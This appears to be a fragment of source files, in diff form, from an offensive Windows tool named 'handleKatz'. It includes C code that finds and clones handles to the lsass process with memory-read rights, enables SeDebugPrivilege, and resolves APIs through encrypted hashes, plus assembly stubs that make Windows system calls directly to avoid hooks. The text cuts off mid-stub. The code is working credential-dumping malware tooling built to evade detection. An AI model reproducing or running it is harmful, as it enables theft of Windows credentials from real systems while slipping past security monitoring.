if (ptr_functions->_strstrA(handle_name, str_lsass) != NULL && (((PROCESS_QUERY_INFORMATION | PROCESS_VM_READ) & entry_info->GrantedAccess) != 0)) {
|
||||
|
||||
process_name = (char*)ptr_functions->_PathFindFileNameA(process_path);
|
||||
|
||||
char msg_found[] = { '[','+',']',' ','F','o','u','n','d',' ','a','n','d',' ','s','u','c','c','e','s','s','f','u','l','l','y',' ','c','l','o','n','e','d',' ','h','a','n','d','l','e',' ','(','%','d',')',' ','t','o',' ','l','s','a','s','s',' ','i','n',':',' ','%','s',' ','(','%','d',')','\n', 0x00 };
|
||||
char msg_handle_rights[] = { '\t','[','+',']',' ','H','a','n','d','l','e',' ','R','i','g','h','t','s',':',' ','%','x','\n', 0x00 };
|
||||
|
||||
char tmp[512] = { 0x00 };
|
||||
char tmp_1[512] = { 0x00 };
|
||||
|
||||
ptr_functions->_wsprintfA(tmp, msg_found, uPid.UniqueProcess, process_name, uPid.UniqueProcess);
|
||||
ptr_functions->_wsprintfA(tmp_1, msg_handle_rights, entry_info->GrantedAccess);
|
||||
|
||||
ptr_functions->_lstrcatA(ptr_output, tmp);
|
||||
ptr_functions->_lstrcatA(ptr_output, tmp_1);
|
||||
|
||||
h_return = dupHandle;
|
||||
|
||||
if (in_pid)
|
||||
break;
|
||||
else
|
||||
ptr_functions->_CloseHandle(h_return);
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if (h_process != NULL)
|
||||
ptr_functions->_CloseHandle(h_process);
|
||||
|
||||
if (objectTypeInfo != NULL)
|
||||
ptr_functions->_VirtualFree(objectTypeInfo, 0, MEM_RELEASE);
|
||||
|
||||
return h_return;
|
||||
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
|
||||
#include "windows.h"
|
||||
|
||||
#include "APIResolve.h"
|
||||
#include "syscalls.h"
|
||||
#include "Misc.h"
|
||||
|
||||
|
||||
|
||||
PSYSTEM_HANDLE_INFORMATION get_handles(struct fPtrs* ptr_functions);
|
||||
HANDLE check_handles(PSYSTEM_HANDLE_INFORMATION, DWORD, char*, struct fPtrs* ptr_functions);
|
||||
+109
@@ -0,0 +1,109 @@
|
||||
#include "Misc.h"
|
||||
|
||||
/* I stole this from outflank's ps-tools repo */
|
||||
DWORD setDebugPrivilege(struct fPtrs* function_ptrs) {
|
||||
|
||||
HANDLE hToken = NULL;
|
||||
TOKEN_PRIVILEGES TokenPrivileges = { 0 };
|
||||
|
||||
NTSTATUS status = NtOpenProcessToken(NtCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
return FAIL;
|
||||
}
|
||||
|
||||
TokenPrivileges.PrivilegeCount = 1;
|
||||
TokenPrivileges.Privileges[0].Attributes = TRUE ? SE_PRIVILEGE_ENABLED : 0;
|
||||
|
||||
char debug_priv[] = { 'S','e','D','e','b','u','g','P','r','i','v','i','l','e','g','e', 0x00 };
|
||||
if (!function_ptrs->_LookupPrivilegeValueA(NULL, debug_priv, &TokenPrivileges.Privileges[0].Luid)) {
|
||||
function_ptrs->_CloseHandle(hToken);
|
||||
return FAIL;
|
||||
}
|
||||
|
||||
status = NtAdjustPrivilegesToken(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
function_ptrs->_CloseHandle(hToken);
|
||||
return FAIL;
|
||||
}
|
||||
|
||||
function_ptrs->_CloseHandle(hToken);
|
||||
|
||||
return SUCCESS;
|
||||
|
||||
}
|
||||
|
||||
DWORD resolveFptrs(struct fPtrs* ptrs) {
|
||||
|
||||
ptrs->_CopyMemory = (COPYMEMORY)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_COPYMEMORY);
|
||||
ptrs->_lstrcatA = (LSTRCATA)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_LSTRCATA);
|
||||
ptrs->_lstrlenA = (LSTRLENA)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_LSTRLENA);
|
||||
ptrs->_wsprintfA = (WSPRINTFA)getFunctionPtr(CRYPTED_HASH_USER32, CRYPTED_HASH_WSPRINTFA);
|
||||
ptrs->_CreateFileA = (CREATEFILEA)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_CREATEFILEA);
|
||||
ptrs->_CloseHandle = (CLOSEHANDLE)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_CLOSEHANDLE);
|
||||
ptrs->_GetProcessId = (GETPROCESSID)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_GETPROCESSID);
|
||||
ptrs->_VirtualFree = (VIRTUALFREE)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_VIRTUALFREE);
|
||||
ptrs->_VirtualAlloc = (VIRTUALALLOC)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYTPED_HASH_VIRTUALALLOC);
|
||||
ptrs->_strcmpW = (STRCMPW)getFunctionPtr(CRYPTED_HASH_SHLWAPI, CRYPTED_HASH_STRCMPW);
|
||||
ptrs->_strstrA = (STRSTRA)getFunctionPtr(CRYPTED_HASH_SHLWAPI, CRYPTED_HASH_STRSTRA);
|
||||
ptrs->_GetModuleFileNameExA = (GETMODULEFILENAMEXA)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_GETMODULEFILENAMEEXA);
|
||||
ptrs->_GetProcessImageFileNameA = (GETPROCESSIMAGEFILENAMEA)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_GETPROCESSIMAGEFILENAMEA);
|
||||
ptrs->_PathFindFileNameA = (PATHFINDFILENAMEA)getFunctionPtr(CRYPTED_HASH_SHLWAPI, CRYPTED_HASH_PATHFINDFILENAMEA);
|
||||
ptrs->_WriteFile = (WRITEFILE)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_WRITEFILE);
|
||||
ptrs->_HeapAlloc = (HEAPALLOC)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_HEAPALLOC);
|
||||
ptrs->_GetProcessHeap = (GETPROCESSHEAP)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_GETPROCESSHEAP);
|
||||
ptrs->_HeapFree = (HEAPFREE)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_HEAPFREE);
|
||||
ptrs->_HeapReAlloc = (HEAPREALLOC)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_HEAPREALLOC);
|
||||
ptrs->_SetFilePointer = (SETFILEPOINTER)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_SETFILEPOINTER);
|
||||
ptrs->_LoadLibrary = (LOADLIBRARYA)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_LOADLIBRARYA);
|
||||
ptrs->_GetSystemInfo = (GETSYSTEMINFO)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_GETSYSTEMINFO);
|
||||
ptrs->_FreeLibrary = (FREELIBRARY)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_FREELIBRARY);
|
||||
ptrs->_IsProcessorFeaturePresent = (ISPROCESSORFEATUREPRESENT)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_ISPROCESSORFEATUREPRESENT);
|
||||
ptrs->_lstrlenW = (LSTRLENW)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_LSTRLENW);
|
||||
ptrs->_GetProcAddress = (GETPROCADDRESS)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_GETPROCADDRESS);
|
||||
ptrs->_VirtualQueryEx = (VIRTUALQUERYEX)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_VIRTUALQUERYEX);
|
||||
ptrs->_SetFilePointerEx = (SETFILEPOINTEREX)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_SETFILEPOINTEREX);
|
||||
ptrs->_GetFileVersionInfoSizeW = (GETFILEVERSIONINFOSIZEW)getFunctionPtr(CRYPTED_HASH_API_MS_WIN_CORE_DLL, CRYPTED_HASH_GETFILEVERSIONINFOSIZEW);
|
||||
ptrs->_GetFileVersionInfoW = (GETFILEVERSIONINFOW)getFunctionPtr(CRYPTED_HASH_API_MS_WIN_CORE_DLL, CRYPTED_HASH_GETFILEVERSIONINFOW);
|
||||
ptrs->_VerQueryValueW = (VERQUERYVALUEW)getFunctionPtr(CRYPTED_HASH_API_MS_WIN_CORE_DLL, CRYPTED_HASH_VERQUERYVALUEW);
|
||||
ptrs->_lstrcpyW = (LSTRCPYW)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_LSTRCPYW);
|
||||
ptrs->_GetModuleFileNameExW = (GETMODULEFILENAMEEXW)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_GETMODULEFILENAMEEXW);
|
||||
ptrs->_EnumProcessModules = (ENUMPROCESSMODULES)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_ENUMPROCESSMODULES);
|
||||
ptrs->_GetModuleInformation = (GETMODULEINFORMATION)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_GETMODULEINFORMATION);
|
||||
ptrs->_GetModuleBaseNameW = (GETMODULEBASENAMEW)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_GETMODULEBASENAMEW);
|
||||
ptrs->_lstrcmpA = (LSTRCMPA)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_LSTRCMPA);
|
||||
ptrs->_lstrcmpW = (LSTRCMPW)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_LSTRCMPW);
|
||||
ptrs->_LookupPrivilegeValueA = (LOOKUPPRIVILEGEVALUEA)getFunctionPtr(CRYPTED_HASH_ADVAPI32, CRYPTED_HASH_LOOKUPPRIVILEGEVALUEA);
|
||||
|
||||
if (ptrs->_EnumProcessModules == 0x00)
|
||||
ptrs->_EnumProcessModules = (ENUMPROCESSMODULES)getFunctionPtr(CRYPTED_HASH_PSAPI, CRYPTED_HASH_ENUMPROCESSMODULES);
|
||||
|
||||
if (ptrs->_GetModuleInformation == 0x00)
|
||||
ptrs->_GetModuleInformation = (GETMODULEINFORMATION)getFunctionPtr(CRYPTED_HASH_PSAPI, CRYPTED_HASH_GETMODULEINFORMATION);
|
||||
|
||||
if (ptrs->_GetModuleBaseNameW == 0x00)
|
||||
ptrs->_GetModuleBaseNameW = (GETMODULEBASENAMEW)getFunctionPtr(CRYPTED_HASH_PSAPI, CRYPTED_HASH_GETMODULEBASENAMEW);
|
||||
|
||||
if (ptrs->_GetModuleFileNameExA == 0x00)
|
||||
ptrs->_GetModuleFileNameExA = (GETMODULEFILENAMEXA)getFunctionPtr(CRYPTED_HASH_PSAPI, CRYPTED_HASH_GETMODULEFILENAMEEXA);
|
||||
|
||||
if (ptrs->_GetProcessImageFileNameA == 0x00)
|
||||
ptrs->_GetProcessImageFileNameA = (GETPROCESSIMAGEFILENAMEA)getFunctionPtr(CRYPTED_HASH_PSAPI, CRYPTED_HASH_GETPROCESSIMAGEFILENAMEA);
|
||||
|
||||
if(ptrs->_GetModuleFileNameExW == 0x00)
|
||||
ptrs->_GetModuleFileNameExW = (GETMODULEFILENAMEEXW)getFunctionPtr(CRYPTED_HASH_PSAPI, CRYPTED_HASH_GETMODULEFILENAMEEXW);
|
||||
|
||||
if (ptrs->_lstrcatA == 0x00 || ptrs->_lstrlenA == 0x00 || ptrs->_wsprintfA == 0x00 || ptrs->_CreateFileA == 0x00 || ptrs->_CloseHandle == 0x00 ||
|
||||
ptrs->_GetProcessId == 0x00 || ptrs->_VirtualFree == 0x00 || ptrs->_VirtualAlloc == 0x00 || ptrs->_strcmpW == 0x00 ||
|
||||
ptrs->_strstrA == 0x00 || ptrs->_GetModuleFileNameExA == 0x00 || ptrs->_GetProcessImageFileNameA == 0x00 || ptrs->_PathFindFileNameA == 0x00 ||
|
||||
ptrs->_WriteFile == 0x00 || ptrs->_HeapAlloc == 0x00 || ptrs->_GetProcessHeap == 0x00 || ptrs->_HeapFree == 0x00 || ptrs->_HeapReAlloc == 0x00 ||
|
||||
ptrs->_SetFilePointer == 0x00 || ptrs->_LoadLibrary == 0x00 || ptrs->_GetSystemInfo == 0x00 || ptrs->_FreeLibrary == 0x00 || ptrs->_IsProcessorFeaturePresent == 0x00 ||
|
||||
ptrs->_lstrlenW == 0x00 || ptrs->_GetProcAddress == 0x00 || ptrs->_VirtualQueryEx == 0x00 || ptrs->_SetFilePointerEx == 0x00 ||
|
||||
ptrs->_GetFileVersionInfoSizeW == 0x00 || ptrs->_GetFileVersionInfoW == 0x00 || ptrs->_VerQueryValueW == 0x00 || ptrs->_lstrcpyW == 0x00 ||
|
||||
ptrs->_GetModuleFileNameExW == 0x00 || ptrs->_EnumProcessModules == 0x00 || ptrs->_GetModuleInformation == 0x00 || ptrs->_GetModuleBaseNameW == 0x00
|
||||
|| ptrs->_lstrcmpA == 0x00 || ptrs->_lstrcmpW == 0x00 || ptrs->_LookupPrivilegeValueA == 0x00 || ptrs->_CopyMemory == 0x00) {
|
||||
return FAIL;
|
||||
}
|
||||
|
||||
return SUCCESS;
|
||||
|
||||
}
|
||||
+53
@@ -0,0 +1,53 @@
|
||||
#ifndef MISC_H
|
||||
#define MISC_H
|
||||
|
||||
#include "APIResolve.h"
|
||||
#include "syscalls.h"
|
||||
|
||||
#include "windows.h"
|
||||
|
||||
struct fPtrs {
|
||||
COPYMEMORY _CopyMemory;
|
||||
LSTRCATA _lstrcatA;
|
||||
LSTRLENA _lstrlenA;
|
||||
WSPRINTFA _wsprintfA;
|
||||
CREATEFILEA _CreateFileA;
|
||||
CLOSEHANDLE _CloseHandle;
|
||||
GETPROCESSID _GetProcessId;
|
||||
VIRTUALFREE _VirtualFree;
|
||||
LSTRCMPA _lstrcmpA;
|
||||
VIRTUALALLOC _VirtualAlloc;
|
||||
STRCMPW _strcmpW;
|
||||
STRSTRA _strstrA;
|
||||
GETMODULEFILENAMEXA _GetModuleFileNameExA;
|
||||
GETPROCESSIMAGEFILENAMEA _GetProcessImageFileNameA;
|
||||
PATHFINDFILENAMEA _PathFindFileNameA;
|
||||
WRITEFILE _WriteFile;
|
||||
HEAPALLOC _HeapAlloc;
|
||||
GETPROCESSHEAP _GetProcessHeap;
|
||||
HEAPFREE _HeapFree;
|
||||
HEAPREALLOC _HeapReAlloc;
|
||||
SETFILEPOINTER _SetFilePointer;
|
||||
LOADLIBRARYA _LoadLibrary;
|
||||
GETSYSTEMINFO _GetSystemInfo;
|
||||
FREELIBRARY _FreeLibrary;
|
||||
ISPROCESSORFEATUREPRESENT _IsProcessorFeaturePresent;
|
||||
LSTRLENW _lstrlenW;
|
||||
GETPROCADDRESS _GetProcAddress;
|
||||
VIRTUALQUERYEX _VirtualQueryEx;
|
||||
SETFILEPOINTEREX _SetFilePointerEx;
|
||||
GETFILEVERSIONINFOSIZEW _GetFileVersionInfoSizeW;
|
||||
GETFILEVERSIONINFOW _GetFileVersionInfoW;
|
||||
VERQUERYVALUEW _VerQueryValueW;
|
||||
LSTRCPYW _lstrcpyW;
|
||||
GETMODULEFILENAMEEXW _GetModuleFileNameExW;
|
||||
ENUMPROCESSMODULES _EnumProcessModules;
|
||||
GETMODULEINFORMATION _GetModuleInformation;
|
||||
GETMODULEBASENAMEW _GetModuleBaseNameW;
|
||||
LSTRCMPW _lstrcmpW;
|
||||
LOOKUPPRIVILEGEVALUEA _LookupPrivilegeValueA;
|
||||
};
|
||||
|
||||
DWORD resolveFptrs(struct fPtrs* ptrs);
|
||||
DWORD setDebugPrivilege(struct fPtrs *);
|
||||
#endif
|
||||
@@ -0,0 +1,15 @@
|
||||
extern handleKatz
|
||||
global alignstack
|
||||
|
||||
segment .text
|
||||
|
||||
alignstack:
|
||||
push rdi
|
||||
mov rdi, rsp
|
||||
and rsp, byte -0x10
|
||||
sub rsp, byte +0x20
|
||||
call handleKatz
|
||||
mov rsp, rdi
|
||||
pop rdi
|
||||
ret
|
||||
|
||||
@@ -0,0 +1,6 @@
|
||||
global ___chkstk_ms
|
||||
|
||||
segment .text
|
||||
|
||||
___chkstk_ms:
|
||||
ret
|
||||
@@ -0,0 +1,9 @@
|
||||
ENTRY(alignstack)
|
||||
SECTIONS
|
||||
{
|
||||
.text :
|
||||
{
|
||||
*(.text.alignstack)
|
||||
*(.text.handleKatz)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,895 @@
|
||||
segment .text
|
||||
|
||||
global NtOpenProcessToken
|
||||
global NtAdjustPrivilegesToken
|
||||
global NtQuerySystemInformation
|
||||
global NtOpenProcess
|
||||
global NtDuplicateObject
|
||||
global NtQueryObject
|
||||
global NtReadVirtualMemory
|
||||
|
||||
NtAdjustPrivilegesToken:
|
||||
mov rax, [gs:0x60]
|
||||
NtAdjustPrivilegesToken_Check_X_X_XXXX:
|
||||
cmp dword [rax+0x118], 6
|
||||
je NtAdjustPrivilegesToken_Check_6_X_XXXX
|
||||
cmp dword [rax+0x118], 10
|
||||
je NtAdjustPrivilegesToken_Check_10_0_XXXX
|
||||
jmp NtAdjustPrivilegesToken_SystemCall_Unknown
|
||||
NtAdjustPrivilegesToken_Check_6_X_XXXX:
|
||||
cmp dword [rax+0x11c], 1
|
||||
je NtAdjustPrivilegesToken_Check_6_1_XXXX
|
||||
cmp dword [rax+0x11c], 2
|
||||
je NtAdjustPrivilegesToken_SystemCall_6_2_XXXX
|
||||
cmp dword [rax+0x11c], 3
|
||||
je NtAdjustPrivilegesToken_SystemCall_6_3_XXXX
|
||||
jmp NtAdjustPrivilegesToken_SystemCall_Unknown
|
||||
NtAdjustPrivilegesToken_Check_6_1_XXXX:
|
||||
cmp word [rax+0x120], 7600
|
||||
je NtAdjustPrivilegesToken_SystemCall_6_1_7600
|
||||
cmp word [rax+0x120], 7601
|
||||
je NtAdjustPrivilegesToken_SystemCall_6_1_7601
|
||||
jmp NtAdjustPrivilegesToken_SystemCall_Unknown
|
||||
NtAdjustPrivilegesToken_Check_10_0_XXXX:
|
||||
cmp word [rax+0x120], 10240
|
||||
je NtAdjustPrivilegesToken_SystemCall_10_0_10240
|
||||
cmp word [rax+0x120], 10586
|
||||
je NtAdjustPrivilegesToken_SystemCall_10_0_10586
|
||||
cmp word [rax+0x120], 14393
|
||||
je NtAdjustPrivilegesToken_SystemCall_10_0_14393
|
||||
cmp word [rax+0x120], 15063
|
||||
je NtAdjustPrivilegesToken_SystemCall_10_0_15063
|
||||
cmp word [rax+0x120], 16299
|
||||
je NtAdjustPrivilegesToken_SystemCall_10_0_16299
|
||||
cmp word [rax+0x120], 17134
|
||||
je NtAdjustPrivilegesToken_SystemCall_10_0_17134
|
||||
cmp word [rax+0x120], 17763
|
||||
je NtAdjustPrivilegesToken_SystemCall_10_0_17763
|
||||
cmp word [rax+0x120], 18362
|
||||
je NtAdjustPrivilegesToken_SystemCall_10_0_18362
|
||||
cmp word [rax+0x120], 18363
|
||||
je NtAdjustPrivilegesToken_SystemCall_10_0_18363
|
||||
cmp word [rax+0x120], 19041
|
||||
je NtAdjustPrivilegesToken_SystemCall_10_0_19041
|
||||
cmp word [rax+0x120], 19042
|
||||
je NtAdjustPrivilegesToken_SystemCall_10_0_19042
|
||||
jmp NtAdjustPrivilegesToken_SystemCall_Unknown
|
||||
NtAdjustPrivilegesToken_SystemCall_6_1_7600:
|
||||
mov eax, 0x003e
|
||||
jmp NtAdjustPrivilegesToken_Epilogue
|
||||
NtAdjustPrivilegesToken_SystemCall_6_1_7601:
|
||||
mov eax, 0x003e
|
||||
jmp NtAdjustPrivilegesToken_Epilogue
|
||||
NtAdjustPrivilegesToken_SystemCall_6_2_XXXX:
|
||||
mov eax, 0x003f
|
||||
jmp NtAdjustPrivilegesToken_Epilogue
|
||||
NtAdjustPrivilegesToken_SystemCall_6_3_XXXX:
|
||||
mov eax, 0x0040
|
||||
jmp NtAdjustPrivilegesToken_Epilogue
|
||||
NtAdjustPrivilegesToken_SystemCall_10_0_10240:
|
||||
mov eax, 0x0041
|
||||
jmp NtAdjustPrivilegesToken_Epilogue
|
||||
NtAdjustPrivilegesToken_SystemCall_10_0_10586:
|
||||
mov eax, 0x0041
|
||||
jmp NtAdjustPrivilegesToken_Epilogue
|
||||
NtAdjustPrivilegesToken_SystemCall_10_0_14393:
|
||||
mov eax, 0x0041
|
||||
jmp NtAdjustPrivilegesToken_Epilogue
|
||||
NtAdjustPrivilegesToken_SystemCall_10_0_15063:
|
||||
mov eax, 0x0041
|
||||
jmp NtAdjustPrivilegesToken_Epilogue
|
||||
NtAdjustPrivilegesToken_SystemCall_10_0_16299:
|
||||
mov eax, 0x0041
|
||||
jmp NtAdjustPrivilegesToken_Epilogue
|
||||
NtAdjustPrivilegesToken_SystemCall_10_0_17134:
|
||||
mov eax, 0x0041
|
||||
jmp NtAdjustPrivilegesToken_Epilogue
|
||||
NtAdjustPrivilegesToken_SystemCall_10_0_17763:
|
||||
mov eax, 0x0041
|
||||
jmp NtAdjustPrivilegesToken_Epilogue
|
||||
NtAdjustPrivilegesToken_SystemCall_10_0_18362:
|
||||
mov eax, 0x0041
|
||||
jmp NtAdjustPrivilegesToken_Epilogue
|
||||
NtAdjustPrivilegesToken_SystemCall_10_0_18363:
|
||||
mov eax, 0x0041
|
||||
jmp NtAdjustPrivilegesToken_Epilogue
|
||||
NtAdjustPrivilegesToken_SystemCall_10_0_19041:
|
||||
mov eax, 0x0041
|
||||
jmp NtAdjustPrivilegesToken_Epilogue
|
||||
NtAdjustPrivilegesToken_SystemCall_10_0_19042:
|
||||
mov eax, 0x0041
|
||||
jmp NtAdjustPrivilegesToken_Epilogue
|
||||
NtAdjustPrivilegesToken_SystemCall_Unknown:
|
||||
ret
|
||||
NtAdjustPrivilegesToken_Epilogue:
|
||||
mov r10, rcx
|
||||
syscall
|
||||
ret
|
||||
|
||||
|
||||
NtDuplicateObject:
|
||||
mov rax, [gs:0x60]
|
||||
NtDuplicateObject_Check_X_X_XXXX:
|
||||
cmp dword [rax+0x118], 6
|
||||
je NtDuplicateObject_Check_6_X_XXXX
|
||||
cmp dword [rax+0x118], 10
|
||||
je NtDuplicateObject_Check_10_0_XXXX
|
||||
jmp NtDuplicateObject_SystemCall_Unknown
|
||||
NtDuplicateObject_Check_6_X_XXXX:
|
||||
cmp dword [rax+0x11c], 1
|
||||
je NtDuplicateObject_Check_6_1_XXXX
|
||||
cmp dword [rax+0x11c], 2
|
||||
je NtDuplicateObject_SystemCall_6_2_XXXX
|
||||
cmp dword [rax+0x11c], 3
|
||||
je NtDuplicateObject_SystemCall_6_3_XXXX
|
||||
jmp NtDuplicateObject_SystemCall_Unknown
|
||||
NtDuplicateObject_Check_6_1_XXXX:
|
||||
cmp word [rax+0x120], 7600
|
||||
je NtDuplicateObject_SystemCall_6_1_7600
|
||||
cmp word [rax+0x120], 7601
|
||||
je NtDuplicateObject_SystemCall_6_1_7601
|
||||
jmp NtDuplicateObject_SystemCall_Unknown
|
||||
NtDuplicateObject_Check_10_0_XXXX:
|
||||
cmp word [rax+0x120], 10240
|
||||
je NtDuplicateObject_SystemCall_10_0_10240
|
||||
cmp word [rax+0x120], 10586
|
||||
je NtDuplicateObject_SystemCall_10_0_10586
|
||||
cmp word [rax+0x120], 14393
|
||||
je NtDuplicateObject_SystemCall_10_0_14393
|
||||
cmp word [rax+0x120], 15063
|
||||
je NtDuplicateObject_SystemCall_10_0_15063
|
||||
cmp word [rax+0x120], 16299
|
||||
je NtDuplicateObject_SystemCall_10_0_16299
|
||||
cmp word [rax+0x120], 17134
|
||||
je NtDuplicateObject_SystemCall_10_0_17134
|
||||
cmp word [rax+0x120], 17763
|
||||
je NtDuplicateObject_SystemCall_10_0_17763
|
||||
cmp word [rax+0x120], 18362
|
||||
je NtDuplicateObject_SystemCall_10_0_18362
|
||||
cmp word [rax+0x120], 18363
|
||||
je NtDuplicateObject_SystemCall_10_0_18363
|
||||
cmp word [rax+0x120], 19041
|
||||
je NtDuplicateObject_SystemCall_10_0_19041
|
||||
cmp word [rax+0x120], 19042
|
||||
je NtDuplicateObject_SystemCall_10_0_19042
|
||||
jmp NtDuplicateObject_SystemCall_Unknown
|
||||
NtDuplicateObject_SystemCall_6_1_7600:
|
||||
mov eax, 0x0039
|
||||
jmp NtDuplicateObject_Epilogue
|
||||
NtDuplicateObject_SystemCall_6_1_7601:
|
||||
mov eax, 0x0039
|
||||
jmp NtDuplicateObject_Epilogue
|
||||
NtDuplicateObject_SystemCall_6_2_XXXX:
|
||||
mov eax, 0x003a
|
||||
jmp NtDuplicateObject_Epilogue
|
||||
NtDuplicateObject_SystemCall_6_3_XXXX:
|
||||
mov eax, 0x003b
|
||||
jmp NtDuplicateObject_Epilogue
|
||||
NtDuplicateObject_SystemCall_10_0_10240:
|
||||
mov eax, 0x003c
|
||||
jmp NtDuplicateObject_Epilogue
|
||||
NtDuplicateObject_SystemCall_10_0_10586:
|
||||
mov eax, 0x003c
|
||||
jmp NtDuplicateObject_Epilogue
|
||||
NtDuplicateObject_SystemCall_10_0_14393:
|
||||
mov eax, 0x003c
|
||||
jmp NtDuplicateObject_Epilogue
|
||||
NtDuplicateObject_SystemCall_10_0_15063:
|
||||
mov eax, 0x003c
|
||||
jmp NtDuplicateObject_Epilogue
|
||||
NtDuplicateObject_SystemCall_10_0_16299:
|
||||
mov eax, 0x003c
|
||||
jmp NtDuplicateObject_Epilogue
|
||||
NtDuplicateObject_SystemCall_10_0_17134:
|
||||
mov eax, 0x003c
|
||||
jmp NtDuplicateObject_Epilogue
|
||||
NtDuplicateObject_SystemCall_10_0_17763:
|
||||
mov eax, 0x003c
|
||||
jmp NtDuplicateObject_Epilogue
|
||||
NtDuplicateObject_SystemCall_10_0_18362:
|
||||
mov eax, 0x003c
|
||||
jmp NtDuplicateObject_Epilogue
|
||||
NtDuplicateObject_SystemCall_10_0_18363:
|
||||
mov eax, 0x003c
|
||||
jmp NtDuplicateObject_Epilogue
|
||||
NtDuplicateObject_SystemCall_10_0_19041:
|
||||
mov eax, 0x003c
|
||||
jmp NtDuplicateObject_Epilogue
|
||||
NtDuplicateObject_SystemCall_10_0_19042:
|
||||
mov eax, 0x003c
|
||||
jmp NtDuplicateObject_Epilogue
|
||||
NtDuplicateObject_SystemCall_Unknown:
|
||||
ret
|
||||
NtDuplicateObject_Epilogue:
|
||||
mov r10, rcx
|
||||
syscall
|
||||
ret
|
||||
|
||||
|
||||
NtDuplicateToken:
|
||||
mov rax, [gs:0x60]
|
||||
NtDuplicateToken_Check_X_X_XXXX:
|
||||
cmp dword [rax+0x118], 6
|
||||
je NtDuplicateToken_Check_6_X_XXXX
|
||||
cmp dword [rax+0x118], 10
|
||||
je NtDuplicateToken_Check_10_0_XXXX
|
||||
jmp NtDuplicateToken_SystemCall_Unknown
|
||||
NtDuplicateToken_Check_6_X_XXXX:
|
||||
cmp dword [rax+0x11c], 1
|
||||
je NtDuplicateToken_Check_6_1_XXXX
|
||||
cmp dword [rax+0x11c], 2
|
||||
je NtDuplicateToken_SystemCall_6_2_XXXX
|
||||
cmp dword [rax+0x11c], 3
|
||||
je NtDuplicateToken_SystemCall_6_3_XXXX
|
||||
jmp NtDuplicateToken_SystemCall_Unknown
|
||||
NtDuplicateToken_Check_6_1_XXXX:
|
||||
cmp word [rax+0x120], 7600
|
||||
je NtDuplicateToken_SystemCall_6_1_7600
|
||||
cmp word [rax+0x120], 7601
|
||||
je NtDuplicateToken_SystemCall_6_1_7601
|
||||
jmp NtDuplicateToken_SystemCall_Unknown
|
||||
NtDuplicateToken_Check_10_0_XXXX:
|
||||
cmp word [rax+0x120], 10240
|
||||
je NtDuplicateToken_SystemCall_10_0_10240
|
||||
cmp word [rax+0x120], 10586
|
||||
je NtDuplicateToken_SystemCall_10_0_10586
|
||||
cmp word [rax+0x120], 14393
|
||||
je NtDuplicateToken_SystemCall_10_0_14393
|
||||
cmp word [rax+0x120], 15063
|
||||
je NtDuplicateToken_SystemCall_10_0_15063
|
||||
cmp word [rax+0x120], 16299
|
||||
je NtDuplicateToken_SystemCall_10_0_16299
|
||||
cmp word [rax+0x120], 17134
|
||||
je NtDuplicateToken_SystemCall_10_0_17134
|
||||
cmp word [rax+0x120], 17763
|
||||
je NtDuplicateToken_SystemCall_10_0_17763
|
||||
cmp word [rax+0x120], 18362
|
||||
je NtDuplicateToken_SystemCall_10_0_18362
|
||||
cmp word [rax+0x120], 18363
|
||||
je NtDuplicateToken_SystemCall_10_0_18363
|
||||
cmp word [rax+0x120], 19041
|
||||
je NtDuplicateToken_SystemCall_10_0_19041
|
||||
cmp word [rax+0x120], 19042
|
||||
je NtDuplicateToken_SystemCall_10_0_19042
|
||||
jmp NtDuplicateToken_SystemCall_Unknown
|
||||
NtDuplicateToken_SystemCall_6_1_7600:
|
||||
mov eax, 0x003f
|
||||
jmp NtDuplicateToken_Epilogue
|
||||
NtDuplicateToken_SystemCall_6_1_7601:
|
||||
mov eax, 0x003f
|
||||
jmp NtDuplicateToken_Epilogue
|
||||
NtDuplicateToken_SystemCall_6_2_XXXX:
|
||||
mov eax, 0x0040
|
||||
jmp NtDuplicateToken_Epilogue
|
||||
NtDuplicateToken_SystemCall_6_3_XXXX:
|
||||
mov eax, 0x0041
|
||||
jmp NtDuplicateToken_Epilogue
|
||||
NtDuplicateToken_SystemCall_10_0_10240:
|
||||
